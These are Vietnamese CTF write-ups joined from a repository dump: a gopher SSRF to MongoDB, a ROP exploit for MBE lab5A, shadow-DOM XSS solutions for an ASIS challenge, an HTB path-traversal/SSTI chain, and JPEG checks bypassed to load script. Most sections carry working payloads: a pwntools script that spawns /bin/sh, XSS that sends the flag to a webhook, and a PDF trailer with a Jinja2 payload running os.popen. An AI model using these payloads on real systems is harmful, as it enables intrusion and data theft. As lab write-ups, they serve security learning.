gopher://127.0.0.1:27017/_%1F%01%00%00%0C%00%00%00%00%00%00%00%DD%07%00%00%00%00%00%00%00%0A%01%00%00%02insert%00%06%00%00%00users%00%04documents%00%A7%00%00%00%030%00%9F%00%00%00%02username%00%09%00%00%00hehehehe%00%02password%00%3D%00%00%00%242a%2410%24/KdHSYJIHaQTBEJqkQHKeeecndrfl.M99P1KKUQVS3yuE3Xta5DKG%00%02permission%00%0E%00%00%00administrator%00%07_id%00e%F1%BC%DD%A3y%DB~%91%11kG%10__v%00%00%00%00%00%00%00%08ordered%00%01%03lsid%00%1E%00%00%00%05id%00%10%00%00%00%04%D7%13%CCe%A2%60H%26%97_5G%861fb%00%02%24db%00%0A%00%00%00percetron%00%00 111 | ``` 112 | 113 | Tại đây sẽ tạo một account admin với username là `hehehehe` và pass là `password`, phần còn lại thì đơn giản thôi nên các bạn hãy thử tự mình dựng lại bài này và làm nhé. 114 | -------------------------------------------------------------------------------- /labs/MBE/lab5B.md: -------------------------------------------------------------------------------- 1 | MBE (Modern Binary Exploitation) là các bài lab khá quen thuộc đối với những người học binary exploit, thông qua các bài lab mình học được khá nhiều kiến thức mới mà mình bị overlooked lúc tìm hiểu web exploitation. Đây là một writeup về lab5A, bài cuối về chủ đề ROP của MBE. 2 | 3 | ## Source code analysis 4 | 5 | Source bài này sẽ khá giống với bài lab3A trong phần shellcode, một storage service cho phép chứa 1 số vào 1 array về đọc số đó ra. tại hàm `read_number` ta có thể dễ dàng thấy được lỗi Out of Bound Reading 6 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/c186c6cc-325b-418d-abbe-1fb7aaa2698a) 7 | 8 | Với lỗi này ta có thể lợi dụng để leak stack address (lab MBE từ section 5 trở xuống thì ASLR luôn tắt, tuy nhiên để làm bài này khó hơn thì mình đã bật ASLR lên). Tại hàm `store_number`, ta thấy có một phần check trước khi dữ liệu được ghi: 9 | 10 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/d9144843-1b28-45c2-8801-0596d2449cbe) 11 | 12 | Giải thích về 3 phần check: 13 | - `index % 3 == 0` phần check này là để gây khó khăn hơn khi craft ROP gadget, ta sẽ không thể ghi được ở 3 địa chỉ liền kề nhau 14 | - `index > STORAGE_SIZE` có vẻ là để tránh việc Out of Bound Writing, tuy nhiên để ý kỹ thì đáng lẽ nó phải là `index > STORAGE_SIZE-1` vì index bắt đầu từ `0`, do đó ta có 4 byte OOW, kinda useless vì nó chẳng thể chạm đến return address. 15 | - `(input >> 24) == 0xb7` intend của check này là ngăn việc ta có thể ret2libc, nhưng thật ra nó statically linked nên cũng không có libc và ở bài này mình cũng sẽ không dụng đến libc 16 | 17 | Vậy nếu ta chỉ có thể ghi đè 4 byte ở sau buffer thì có thể làm được gì nhỉ... nếu để ý lại index nhập vào sẽ là kiểu `int` vậy nếu ta để index âm thì bằng các canh chỉnh chính xác ta có thể store ở bất cứ địa chỉ nào trong memory, OOW thành công. 18 | Sau khi căn chỉnh ta sẽ biết ra được index `-1073741711` sẽ là return address của `main`, lúc đó sẽ trỏ về `__libc_start_main`, vậy giờ ta sẽ ROP như thế nào cho hợp lý... 19 | 20 | Với mình thì mình sẽ chọn 1 ROP gadget như sau, vì việc ROP gadget với 3 address không liên tiếp quá dark, nên mình muốn tìm cách để có thể ghi ROP gadget một cách tự do, idea sẽ là return về `read`. 21 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/7d5f475b-e02c-479f-b8c4-963517f81beb) 22 | 23 | Return về code segment, sẽ bypass qua phần check thứ 3, tuy nhiên thì index `-1073741711 % 3 == 2` và `-1073741711 % 3 == 1`, index tiếp theo là `-1073741709` chắc chắn chia hết cho 3, stack layout cho function `read` sẽ không hoàn thiện được. Cách giải quyết đơn giản, return về một hàm dummy nào đó và đưa `read` vào return address của hàm đó, stack layout: 24 | ``` 25 | ---------------- 26 | 0x00000001 => dummy_function 27 | 0x00000002 => read 28 | 0x00000003 => dummy_function's arg 1 (khong control duoc) 29 | 0x00000004 => read's arg 1 30 | 0x00000005 => read's arg 2 (address bat ki) 31 | 0x00000006 => read's arg 3 (khong control duoc) 32 | ---------------- 33 | ``` 34 | 35 | `read` nhận 3 tham số, lần lượt là fd, buffer và size, vấn đề tiếp theo là ta lại không control được arg thứ 3, chính là size read vào 36 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/e3763d94-e278-41f0-a6ce-7ae2100b2ee3) 37 | 38 | Như ta thấy thì nếu tại return address là dummy function, thì argument `size` của `read` sẽ rơi vào địa chỉ `0xffffca30`, nghĩa là lúc này `read` sẽ đọc 0 byte, ta sẽ chẳng ghi đè được gì cả... 39 | 40 | Nhưng sẽ ra sao nếu nơi mà argument 3 rơi vào là địa chỉ `0xffffca3c` 41 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/eff385ec-5aa9-4ed1-bb64-2f9df667b3c0) 42 | Lúc này read sẽ đọc `0x80eb00c`, ta sẽ không cần nhiều đến thế nhưng chắc chắn nó sẽ giúp ta ghi đè được address bất kì. Vậy làm sao để ROP cho argument 3 rơi đúng vào ô nhớ đó? Mình sẽ cho return về một ROP pop stack 3 lần, sau đó return về `read` và ghi ROP vào return address của `read`, stack layout giả dụ: 43 | 44 | ``` 45 | ---------------- 46 | 0x00000001 => pop 3 thanh ghi 47 | 0x00000002 => ... 48 | 0x00000003 => ... 49 | 0x00000004 => ... 50 | 0x00000005 => read 51 | 0x00000006 => read's return address 52 | 0x00000007 => 0x0 (read from stdin) 53 | 0x00000008 => 0x00000006 54 | 0x00000008 => 0x80eb00c 55 | ---------------- 56 | ``` 57 | 58 | ROP gadget để pop 3 stack: 59 | 60 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/dbaf0569-93f5-4859-abee-213575a60a4b) 61 | 62 | Vì trước đó thì mình có bật ASLR, nên ta sẽ cần leak địa chỉ của stack bất kì để tìm ra return address của `read`, cùng với đó là vì không có libc nên `/bin/sh` mình sẽ nèm vào phía dưới ROP chain, nên ta cũng cần tính toán offset để tìm ra địa chỉ của `/bin/sh` sau đó pop vào ebx 63 | 64 | Solve script: 65 | ```py 66 | from pwn import * 67 | 68 | def write_rop(data, loc, f=None): 69 | buf = b"store\n" 70 | buf += str(data).encode() + b"\n" 71 | buf += loc.encode() + b"\n" 72 | if f: 73 | f.write(buf) 74 | return buf 75 | 76 | pop_eax = util.packing.p32(0x080bc4d6) 77 | pop_ecx = util.packing.p32(0x080e6255) 78 | pop_edx = util.packing.p32(0x080695a5) 79 | pop_ebx = util.packing.p32(0x08058ed6) 80 | syscall = util.packing.p32(0x0806fa7f) 81 | 82 | 83 | bin_sh_string = {} 84 | bin_sh_string["bin"] = util.packing.p32(0x6e69622f) 85 | bin_sh_string["sh"] = util.packing.p32(0x68732f2f) 86 | 87 | read = 0x806d85a 88 | 89 | # pop 3 thanh ghi 90 | # ... 91 | # ... 92 | # ... 93 | # read 94 | # 95 | # 0x0 96 | # address to write 97 | # 0x80eb00c 98 | 99 | pop_3_reg = 0x0806e7bb 100 | 101 | proc = process("../lab5A") 102 | 103 | proc.sendline(b"read") 104 | proc.sendline(b"-1073741709") # leak stack address 105 | leaked_stack = int(proc.recvline_contains(b"Number at data[-1073741709] is ")[-10:].decode()) 106 | stack_ret_addr = leaked_stack - 116 107 | bin_sh_addr = util.packing.p32(stack_ret_addr + 40) 108 | 109 | print("leaked stack: " + hex(leaked_stack)) 110 | print("return address: " + hex(stack_ret_addr)) 111 | print("/bin/sh will be at: " + hex(stack_ret_addr + 40)) 112 | 113 | 114 | rop_chain = pop_ecx 115 | rop_chain += util.packing.p32(0) 116 | rop_chain += pop_edx 117 | rop_chain += util.packing.p32(0) 118 | rop_chain += b"BBBB" 119 | rop_chain += pop_ebx 120 | rop_chain += bin_sh_addr 121 | rop_chain += pop_eax 122 | rop_chain += util.packing.p32(0xb) 123 | rop_chain += syscall 124 | rop_chain += bin_sh_string["bin"] 125 | rop_chain += bin_sh_string["sh"] 126 | 127 | proc.send_raw(write_rop(pop_3_reg, "-1073741711")) 128 | proc.send_raw(write_rop(0xffffffff, "-1073741710")) # padding 129 | proc.send_raw(write_rop(read, "-1073741707")) 130 | proc.send_raw(write_rop(0x0, "-1073741705")) 131 | proc.send_raw(write_rop(stack_ret_addr, "-1073741704")) 132 | proc.sendline(b"quit") 133 | proc.send_raw(rop_chain) 134 | proc.sendline(b"/bin/sh") 135 | proc.interactive() 136 | ``` 137 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/385ec24f-0e4b-4e39-a71c-d693f8de1719) 138 | 139 | -------------------------------------------------------------------------------- /asis-final-2023/sayeha.md: -------------------------------------------------------------------------------- 1 | Một bài client side rất hay về shadow DOM, mục đích của đề bài đó chính là lấy được flag nằm trong một COMMENT node bên trong shadow DOM 2 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/791675ef-df54-43c0-967a-318536d6369b) 3 | 4 | ## Tổng quan 5 | ```html 6 | 7 | 8 | Sayeha 9 | 10 | 11 |
12 | 50 | 51 | 52 | 53 | 54 | ``` 55 | Ta có 1 bug JS Injection và 1 bug HTML Injection lần lượt thông qua GET param `p` và `html`: 56 | - Ở bug HTML Injection, data mà ta nhập vào sẽ được đưa vào một **closed** shadow DOM 57 | - Ở bug JS Injection, data nhập vào sẽ được đưa vào sink `setTimeout` 58 | 59 | Trang web có triển khai CSP: 60 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/e00f981f-42e4-46ac-a592-d7e94fe313ec) 61 | 62 | ## Shadow DOM 63 | Shadow DOM là một tính năng được sử dụng để tạo một DOM tree mới được "sandbox" với DOM tree chính 64 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/bd4a1f03-bf12-483e-812b-7aaebe0f56e1) 65 | 66 | Shadow DOM sẽ được `attach` vào một host ( một node trong DOM chính ) và có thể ở một trong 2 trạng thái: `closed` và `open`. Đối với trạng thái open thì DOM tree chính có thể truy cập được vào bên trong thông qua thuộc tính `shadowRoot` của host node 67 | 68 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/52a8fa91-e321-4873-9b6b-2f380216b69b) 69 | 70 | Đối với `closed` thì sẽ là điều ngược lại, ta sẽ nhận về giá trị `null` nếu cố gắng truy xuất vào shadowRoot 71 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/74268d1c-4622-4546-a7ce-345e6cf6a998) 72 | 73 | Tới đây hẳn bạn sẽ nghĩ shadowRoot là một cơ chế bảo mật giúp sandbox một DOM tree lại, tuy nhiên shadow DOM chưa bao giờ được tạo ra nhằm mục đích bảo mật, nó được tạo ra để isolate các style giữa các DOM với nhau 74 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/d3d6a506-bdea-4f23-ab80-ef682d7c7c1b) 75 | 76 | Một trong những cách đã từng được sử dụng là sử dụng hàm `window.find` được đề cập trong bài `shadow` [DiceCTF 2022](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md), bởi dù là các DOM tree khác nhau nhưng vẫn cùng chung một `window` object nên việc này là dễ hiểu. Ở bài CTF lần này, kỹ thuật đó đã không còn sử dụng được bởi `window.find` chỉ có thể tìm ra các text trong DOM và sau khi được đưa vào DOM thông qua `innerHTML` thì `div` node đã được kiểm tra để bảo đảm thằng `innerText` là rỗng 77 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/36d93fed-18c7-45dd-98ff-4b199f78347d) 78 | 79 | ## Solution by Ark 80 | Ở solution của Ark, tuy là một unintended solution nhưng mình thật sự thấy thích cách giải này, do writeup của Ark rất ngắn gọn, chỉ có solve script và không có giải thích gì nên mình quyết định sẽ giải thích cách làm đó tại đây: 81 | Solve script của Ark: 82 | ```html 83 | 84 | 98 | 99 | ``` 100 | Ở đây anh này sẽ tạo một iframe, chĩa source của iframe đến trang challenge và sau đó tại trang challenge lại tiếp tục mở một window đến trang challenge đó, cùng đọc kỹ lại đoạn code của challenge: 101 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/0294147e-11b2-44ac-ae1d-873fd9c5e937) 102 | 103 | Chú ý ở 3 chỗ mình bôi đen, đầu tiên `secret` sẽ được lấy ra từ Local Storage và đưa vào comment, ngay sau đó sẽ thực hiện remove nó khỏi Local Storage nhằm mục đích ngăn việc truy xuất flag trực tiếp sau khi callback của `setTimeout` (do ta kiểm soát) chạy, 500 mili second là thời gian mà tác giả cho sleep để tránh việc callback được chạy trước khi `secret` được xóa khỏi Local Storage do tính bất đồng bộ của JS. Vậy cách làm của Ark chính là dùng `window.open` để lấy `secret` trong Local Storage trước khi nó bị remove. Nhưng hẳn bạn sẽ băn khoăn rằng chẳng phải `secret` đã được xóa từ khi lần đầu truy cập vào trang challenge rồi sao? Đó là lý do mà Ark dùng đến iframe, bên trong iframe thì Local Storage sẽ là Local Storage của top-live window do cơ chế [Storage Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning#static_partitioning) của browser, do đó tại thời điểm đó `secret` sẽ không tồn tại trong Local Storage. 104 | ## Solution by IcesFont 105 | Đây là solution được sử dụng để giải cả `sageya` và `sageya_revenge` (fix unintended) bằng cách tạo một iframe element bên trong shadow DOM và set `name` là `x`, sau đó gọi `window.open('', 'x')` để select được đến element đó, cùng vấn đề với `window.find` đó là dù DOM khác nhau thì vẫn cùng chung một `window` object. 106 | Solve: `?html=&p=location='http://webhook/?'+open('', 'x').frameElement.parentElement.firstChild.data` 107 | 108 | Khi gọi đến `window.open`, tham số thứ 2 sẽ được dùng để xác định tên của một context, nếu context đó chưa tồn tại thì sẽ thực hiện mở 1 window để mở ra context đó, vậy thì bằng cách chèn một iframe (đóng vai trò là một context) và đặt tên cho nó thì ta có thể select đến phần tử của context đó thông qua thuộc tính `frameElement` và từ đó truy xuất được đến các phần tử còn lại của DOM, cách làm rất sáng tạo. 109 | ## Solution by Ske 110 | TL;DR: 111 | 112 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/e42c14d5-0d7e-4bc6-b886-1ab3dd249ab2) 113 | 114 | Để ý hàm `containsText`, vì cách hàm này check là dùng `window.find` để loop qua các ký tự từ 0->65536, ta biết đây là giới hạn các ký tự có thể biểu diễn được của UTF-16 và mỗi ký tự sẽ cần 2 byte để biểu diễn 115 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/8148a07f-9fa6-4ae4-8805-0feb61d1bc2a) 116 | 117 | Một ký tự như emoji "🫠" (`1F AE 00`) sẽ cần đến 3 byte để biểu diễn, do đó sẽ bypass qua `containsText`. Cùng với đó thì tag `details` ở trạng thái collapsed sẽ có `innerText` == `""` tuy nhiên vẫn có thể được tìm thấy bởi `window.find`. Vậy là giải quyết được rồi, sử dụng lại kỹ thuật `window.find` và `document.execCommand` là giải quyết được bài này rồi nhỉ? 118 | ``` 119 | http://91.107.168.3:8000/?html=🫠&p=console.log(window.find('🫠'));document.execCommand('insertHTML',false,"")` 120 | ``` 121 | Không đơn giản như thế, trong CSP không có `unsafe-inline`, ta không thể tùy ý thực thi JS được, Ske đã có một phát hiện rất hay đó là lợi dụng một callback `connectedCallback` được gọi mỗi khi một element được gắn vào cây DOM để từ đó truy xuất đến element đó 122 | Bằng cách define một element mới với method `connectedCallback` dùng để truy xuất vào `this` ta sẽ dễ dàng truy xuất được đến shadow DOM 123 | Payload của mình: 124 | ``` 125 | http://91.107.168.3:8000/?html=🫠&p=class TestElement extends HTMLElement {connectedCallback() {console.log(this.parentElement.parentElement.parentElement.innerHTML);}};customElements.define('test-element', TestElement);console.log(window.find("🫠"));document.execCommand("insertHTML",false,'') 126 | ``` 127 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/00c83d24-ba1f-4f53-b988-1bcde2623523) 128 | 129 | Giờ chỉ cần gửi về webhook nữa là được :) 130 | -------------------------------------------------------------------------------- /HTB-apocalypse-2024/apexsurevive.md: -------------------------------------------------------------------------------- 1 | # The challenge 2 | name: apexsurvive 3 | 4 | difficulty: insane 5 | # Solution 6 | Ở bài này, mục tiêu của ta sẽ là bằng cách nào đó đọc được file `/root/flag`, đề cho binary `/readflag` và set permission file flag là `600` nên có thể mục tiêu của ta sẽ là thực hiện RCE rồi sau đó chạy `/readflag` để đọc flag, tuy nhiên uwsgi lại được chạy với user là `root` do đó ta chỉ cần đọc được file là được, hẳn đây là một lỗi configuration của author. Do bài này tác giả đã có writeup nên mình sẽ viết lại một unintend solution do mình và anh `@AP` tìm được 7 | ## RCE 8 | Ta thấy ở endpoint `/challenge/addContract` cho phép ta upload một file pdf, file pdf sẽ được check bằng thư viện `PyPDF2`, tên file được join với path upload bằng `os.path.join` dẫn đến việc ta có thể thực hiện path traversal thông qua tên file 9 | 10 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/e195abf8-5d86-4b46-8ca3-4dd0cab6363d) 11 | 12 | Từ đó ta có thể ghi đè file template tại `/app/templates/info.html` để thực hiện RCE. Tuy nhiên trước đó ta sẽ cần tìm cách để reach được tính năng upload pdf vì account cần thỏa 2 điều kiện đó là `isAdmin` và `isInternal`. Về `isAdmin` thì chỉ được set duy nhất cho account `xclow3n@apexsurvive.htb` và không có logic để set cho account khác, còn đối với isInternal có thể được set khi email của account có hostname là `apexsurvive.htb`. Tuy nhiên thì để activate account ta cần có OTP và ta chỉ có thể nhận được OTP bằng mail `test@email.htb` 13 | ## Hogmail 14 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/32a7724c-35f6-4898-bd95-13631ccb6428) 15 | 16 | Sau 1 ngày đau đầu anh `@AP` có để ý một chi tiết, hogmail có listen một UI trong internal network 17 | 18 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/c20b019a-3b46-4c73-b1be-509c43811a12) 19 | Ở UI để ý thấy ứng dụng cập nhật email realtime, vậy nghĩa là sẽ có một websocket đang chạy, do bot chung network với hogmail nên ta chỉ cần gửi cho bot một đường link chứa đoạn script listen websocket từ hogmail, sau đó fetch nội dung mail đến webhook của mình là được. Bot khi report một product id thì id sẽ được nối với `/challenge/product/` nên ta có thể dùng `../` traverse ngược về `/external` sau đó lợi dụng open redirect tại đây để điều hướng đến web page của mình 20 | ```html 21 | 22 | 23 | 24 | 30 | 31 | 32 | ``` 33 | 34 | ## PDF 35 | Sau khi tạo được product, ta thấy rằng tại trang hiển thị product có một XSS khá rõ ràng tồn, cái này cùng với Hogmail là unintended của author 36 | 37 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/346751a3-157a-41da-b67d-142b48d161b5) 38 | 39 | Từ đó ta có thể XSS để lấy cookie của admin, dùng account admin upload lên một PDF chứa template string execute OS command để RCE, vấn đề ở đây là ta sẽ chèn payload vào phần nào trong PDF. Nếu như các bạn để ý thì các PDF được gen từ các phần mềm như PDFlatex thì phần cuối của pdf sẽ có một dòng "created by ...." và tất nhiên là nó không hiển thị trên nội dung PDF, do đó mình chọn cách chèn payload vào phần `trailer` của pdf. Ngoài ra thì file PDF cũng không được có unicode vì tí nữa vào jinja2 xử lý sẽ bị lỗi. Cách làm của mình là đầu tiên mình lên lụm một cái polyglot của portswigger research về sau đó thêm payload tại `trailer` là được 40 | https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/jsPDF/chrome/pdf-ssrf/output.pdf 41 | 42 | Sau khi ghi đè file template thì do cache nên ta refresh lại vài lần thì flag sẽ hiện ra. File pdf: 43 | ``` 44 | %PDF-1.3 45 | %1234 46 | 3 0 obj 47 | <>>><>/A<> >> 56 | ] 57 | /Contents 4 0 R 58 | >> 59 | endobj 60 | 4 0 obj 61 | << 62 | /Length 126 63 | >> 64 | stream 65 | 0.5670000000000001 w 66 | 0 G 67 | BT 68 | /F1 16 Tf 69 | 18.3999999999999986 TL 70 | 0 g 71 | 56.6929133858267775 785.1970866141732586 Td 72 | (Test text) Tj 73 | ET 74 | endstream 75 | endobj 76 | 1 0 obj 77 | <> 81 | endobj 82 | 5 0 obj 83 | << 84 | /Type /Font 85 | /BaseFont /Helvetica 86 | /Subtype /Type1 87 | /Encoding /WinAnsiEncoding 88 | /FirstChar 32 89 | /LastChar 255 90 | >> 91 | endobj 92 | 6 0 obj 93 | << 94 | /Type /Font 95 | /BaseFont /Helvetica-Bold 96 | /Subtype /Type1 97 | /Encoding /WinAnsiEncoding 98 | /FirstChar 32 99 | /LastChar 255 100 | >> 101 | endobj 102 | 7 0 obj 103 | << 104 | /Type /Font 105 | /BaseFont /Helvetica-Oblique 106 | /Subtype /Type1 107 | /Encoding /WinAnsiEncoding 108 | /FirstChar 32 109 | /LastChar 255 110 | >> 111 | endobj 112 | 8 0 obj 113 | << 114 | /Type /Font 115 | /BaseFont /Helvetica-BoldOblique 116 | /Subtype /Type1 117 | /Encoding /WinAnsiEncoding 118 | /FirstChar 32 119 | /LastChar 255 120 | >> 121 | endobj 122 | 9 0 obj 123 | << 124 | /Type /Font 125 | /BaseFont /Courier 126 | /Subtype /Type1 127 | /Encoding /WinAnsiEncoding 128 | /FirstChar 32 129 | /LastChar 255 130 | >> 131 | endobj 132 | 10 0 obj 133 | << 134 | /Type /Font 135 | /BaseFont /Courier-Bold 136 | /Subtype /Type1 137 | /Encoding /WinAnsiEncoding 138 | /FirstChar 32 139 | /LastChar 255 140 | >> 141 | endobj 142 | 11 0 obj 143 | << 144 | /Type /Font 145 | /BaseFont /Courier-Oblique 146 | /Subtype /Type1 147 | /Encoding /WinAnsiEncoding 148 | /FirstChar 32 149 | /LastChar 255 150 | >> 151 | endobj 152 | 12 0 obj 153 | << 154 | /Type /Font 155 | /BaseFont /Courier-BoldOblique 156 | /Subtype /Type1 157 | /Encoding /WinAnsiEncoding 158 | /FirstChar 32 159 | /LastChar 255 160 | >> 161 | endobj 162 | 13 0 obj 163 | << 164 | /Type /Font 165 | /BaseFont /Times-Roman 166 | /Subtype /Type1 167 | /Encoding /WinAnsiEncoding 168 | /FirstChar 32 169 | /LastChar 255 170 | >> 171 | endobj 172 | 14 0 obj 173 | << 174 | /Type /Font 175 | /BaseFont /Times-Bold 176 | /Subtype /Type1 177 | /Encoding /WinAnsiEncoding 178 | /FirstChar 32 179 | /LastChar 255 180 | >> 181 | endobj 182 | 15 0 obj 183 | << 184 | /Type /Font 185 | /BaseFont /Times-Italic 186 | /Subtype /Type1 187 | /Encoding /WinAnsiEncoding 188 | /FirstChar 32 189 | /LastChar 255 190 | >> 191 | endobj 192 | 16 0 obj 193 | << 194 | /Type /Font 195 | /BaseFont /Times-BoldItalic 196 | /Subtype /Type1 197 | /Encoding /WinAnsiEncoding 198 | /FirstChar 32 199 | /LastChar 255 200 | >> 201 | endobj 202 | 17 0 obj 203 | << 204 | /Type /Font 205 | /BaseFont /ZapfDingbats 206 | /Subtype /Type1 207 | /FirstChar 32 208 | /LastChar 255 209 | >> 210 | endobj 211 | 18 0 obj 212 | << 213 | /Type /Font 214 | /BaseFont /Symbol 215 | /Subtype /Type1 216 | /FirstChar 32 217 | /LastChar 255 218 | >> 219 | endobj 220 | 2 0 obj 221 | << 222 | /ProcSet [/PDF /Text /ImageB /ImageC /ImageI] 223 | /Font << 224 | /F1 5 0 R 225 | /F2 6 0 R 226 | /F3 7 0 R 227 | /F4 8 0 R 228 | /F5 9 0 R 229 | /F6 10 0 R 230 | /F7 11 0 R 231 | /F8 12 0 R 232 | /F9 13 0 R 233 | /F10 14 0 R 234 | /F11 15 0 R 235 | /F12 16 0 R 236 | /F13 17 0 R 237 | /F14 18 0 R 238 | >> 239 | /XObject << 240 | >> 241 | >> 242 | endobj 243 | 19 0 obj 244 | << 245 | /Producer (jsPDF 2.1.1) 246 | /CreationDate (D:20201020103513+01'00') 247 | >> 248 | endobj 249 | 20 0 obj 250 | << 251 | /Type /Catalog 252 | /Pages 1 0 R 253 | /OpenAction [3 0 R /FitH null] 254 | /PageLayout /OneColumn 255 | >> 256 | endobj 257 | xref 258 | 0 21 259 | 0000000000 65535 f 260 | 0000000714 00000 n 261 | 0000002531 00000 n 262 | 0000000015 00000 n 263 | 0000000537 00000 n 264 | 0000000771 00000 n 265 | 0000000896 00000 n 266 | 0000001026 00000 n 267 | 0000001159 00000 n 268 | 0000001296 00000 n 269 | 0000001419 00000 n 270 | 0000001548 00000 n 271 | 0000001680 00000 n 272 | 0000001816 00000 n 273 | 0000001944 00000 n 274 | 0000002071 00000 n 275 | 0000002200 00000 n 276 | 0000002333 00000 n 277 | 0000002435 00000 n 278 | 0000002779 00000 n 279 | 0000002865 00000 n 280 | trailer 281 | << 282 | /Size 21 283 | /PTEX.Fullbanner ({{self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read()}}) 284 | /Root 20 0 R 285 | /Info 19 0 R 286 | /ID [ <473612F0110D3914940DD4F61756820F> <473612F0110D3914940DD4F61756820F> ] 287 | >> 288 | startxref 289 | 2969 290 | %%EOF 291 | ``` 292 | 293 | ![image](https://github.com/CP04042K/CTF-writeups/assets/35491855/8bc04b89-5fb2-47f6-a8e7-202bdf13b8fb) 294 | -------------------------------------------------------------------------------- /HTB-challenges/TwoDots Horror.md: -------------------------------------------------------------------------------- 1 | # TwoDots Horror 2 | 3 | Bài này họ cho một trang web đăng truyện ma, câu truyện sẽ dài 2 chữ, mỗi câu end bằng 1 dấu chấm. Bên dưới backend sẽ check nếu câu có đúng 2 dấu chấm thì sẽ đăng lên feed và cho admin (con bot) truy cập vào 4 | 5 | ## Challenge analyzing 6 | Thấy con bot thì ta đoán được đây là 1 challenge client side, về con bot thì nó chạy bằng puppeteer, flag sẽ được set làm cookie cho nó 7 | 8 | Vậy lỗi client side ở đây là gì? Đọc file feed.html ta sẽ thấy instruction `{{ post.content|safe }}`, về từ khoá safe thì ở bài này template engine sử dụng là nunjucks, nunjucks kế thừa nhiều cú pháp của engine jinja2 bên flask, từ khoá safe này cũng vậy, đây là từ khoá dùng để "mark" là output này safe, không cần phải escape các ký tự đặc biệt (nói nôm na là in ra literal HTML). Vậy có thể thấy đây có vẻ là lỗi XSS, tuy nhiên trang này cũng đã config CSP: 9 | ```javascript 10 | res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;") 11 | ``` 12 | 13 | Nhìn qua thì thấy đà này chắc là không bypass được rồi :v mình chuyển qua xem các chức năng khác. Có một chức năng thú vị đó là upload avatar tại endpoint `/api/upload`, avatar sau khi upload sẽ được check bằng middleware trong `UploadHelper.js`, trong function middleware có sử dụng 2 module bên thứ 3 là `is-jpg` và `image-size` để kiểm tra file jpg và lấy width/height của ảnh 14 | 15 | Sau khi avatar được upload, ta có thể vào endpoint `/api/avatar/:username` để xem avatar. Ok ý tưởng nãy ra, ta có thể upload một file chứa javascript và sử dụng lỗi XSS kia để chĩa src đến endpoint `/api/avatar/:username` nhằm load script trong file này và thực thi, tuy nhiên ta cần 2 điều kiện là Content-Type trả về không được là kiểu ảnh (endpoint trên trả về application/octet-stream), tại vì nếu là kiểu ảnh thì khi chỉa src tới nó sẽ không load. Điều kiện thứ 2 là ta phải làm cách nào đó khiến cho nội dung trong file trả về không bị syntax error, tại nó trải qua 2 thư viện thao tác JPG nên hẳn sẽ bị lỗi nếu ta cố gắng up một cái script hoàn chỉnh lên 16 | 17 | ## Vào việc 18 | 19 | Giờ ta sẽ thử upload lên một file js hoàn chỉnh xem sao 20 | 21 | ![](https://i.imgur.com/6uTvKoq.png) 22 | 23 | Bị chặn rùi, nhìn vào function middleware check upload ta sẽ thấy nó fail ở đoạn gọi đến hàm check `isJpg` 24 | ```javascript 25 | if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!")); 26 | ``` 27 | 28 | Lúc này ý tưởng tiếp theo, mình sẽ vào thẳng thư việc `isJpg` để xem cách nó check. Khi lên git của nó tại https://github.com/sindresorhus/is-jpg 29 | 30 | Lên git của nó đọc thì thấy nó check khá đơn giản, 3 byte đầu phải là `ÿØÿ` (signature của JPG) 31 | ```javascript 32 | export default function isJpg(buffer) { 33 | if (!buffer || buffer.length < 3) { 34 | return false; 35 | } 36 | 37 | return buffer[0] === 255 38 | && buffer[1] === 216 39 | && buffer[2] === 255; 40 | } 41 | ``` 42 | Vậy thêm 3 byte đầu vào thôi, nhưng mà lại phát sinh vấn đề là 3 byte này có thể làm nội dung file js bị lỗi syntax, ta cũng không thể dùng // để comment bọn nó lại vì nó bắt buộc phải là 3 byte đầu tiên, vậy ta có thể biến nó thành một tên biến kiểu như `ÿØÿa = 'a';`, nhưng không có từ khoá let/var/const đằng trước liệu nó có lỗi không? Thật ra là không, vì ở context của browser thì nếu không có từ khoá khai báo let/var/const trước một phép gán và nếu biến đó cũng chưa tồn tại thì nó sẽ xem biến này là một property của object `window`, nói chung là không ảnh hưởng 43 | 44 | ![](https://i.imgur.com/XbBbNEw.png) 45 | 46 | Ok vẫn lỗi nhưng mà lỗi khác :v có vẻ ta đã pass qua vòng check đầu, giờ đến vòng check 2 là `image-size`, lại như module kia, ta lại mò đến source để xem cách nó xử lý 47 | 48 | https://github.com/image-size/image-size 49 | 50 | Code thằng này nhiều hơn thằng kia một chút, tóm lại thì logic xử lý chính nó sẽ thế này. Check type, vì đang là jpg nên nó sẽ chạy đến phần lấy size của JPG. Tại hàm `calculate` của JPG skip qua 4 signature byte đầu, read 2 byte đầu từ buffer và chứa vào biến `i`, biến i sẽ truyền vào `validateBuffer`, tại đây check nếu thấy i lớn hơn size của buffer truyền vô (cái ảnh) nó sẽ throw exception, và nếu tại index i của buffer mà character không phải 0xff (`ÿ`) thì nó chũng throw exception. Nếu pass qua vòng này ta sẽ tới phần check xem là tại vị trí i + 1 nếu là một trong các byte `0xC0 | 0xC1 | 0xC2` thì tí sẽ return về size của ảnh. 51 | 52 